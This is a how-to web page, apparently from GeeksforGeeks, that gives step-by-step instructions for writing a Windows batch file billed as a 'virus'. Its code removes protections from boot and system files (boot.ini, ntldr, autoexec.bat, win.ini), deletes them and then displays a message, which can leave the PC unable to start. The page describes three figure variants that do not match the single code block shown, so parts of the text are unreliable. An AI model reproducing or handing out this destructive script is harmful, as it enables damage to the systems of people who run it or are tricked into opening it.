Open In App

How to Create a Virus that Can Corrupt the Windows OS?

Last Updated : 13 Apr, 2021
Improve
Improve
Like Article
Like
Save
Share
Report

As per the name of the Virus is clear this is used to Corrupt the Operating System (OS) of any PC, But there is some relief that this Virus only works when it is activated by the user this will not affect any other file or the Program kept in the computer. 

If this virus is activated in the Computer and you have noticed it then try not to Shut Down the computer because if the system gets Power off then you will not be able to start it. 

Now to create the virus follow the below steps:

Step 1: Press the Window + R Button from the Keyboard. This will open the Run Dialog book will Open in front of us. 

Step 2: Type Notepad in the Dialog Box and press Enter. This will open the notepad for us.


Step 3: Type any 3 of the depicted code in Figure 1, 2 and 3 as per your requirement in the Notepad:

@echo off
attrib -r -s -h C:\autoexec.bat
del C:\autoexec.bat
attrib -r -s -h C:\boot.ini
del C:\boot.ini
attrib -r -s -h C:\ntldr
del C:\ntldr
attrib -r -s -h C:\window\win.ini
del C:\window\win.ini
@echo off
msg* <your message which you want to reflect in front of the user>

Figure 1. Show message and auto ShutDown the PC

Figure 2. Show message Only

Figure 3. Shut down without Notification to the user

Step 4: After typing in all the code save the file with the name of your choice. But remember to save the file with .bat extension.

The Virus has been Successfully Created by you but this will only work when it is open by the user.

Disclaimer: GeeksforGeeks does not support the spread of ransomware/viruses and if you intend to use this information for malicious purposes, we are in no way responsible. This information is intended to be used for educational purposes only. If the virus file is clicked or opened by the user the PC might need to re-Install the OS.


Like Article
Suggest improvement
Previous
Next
Share your thoughts in the comments

Similar Reads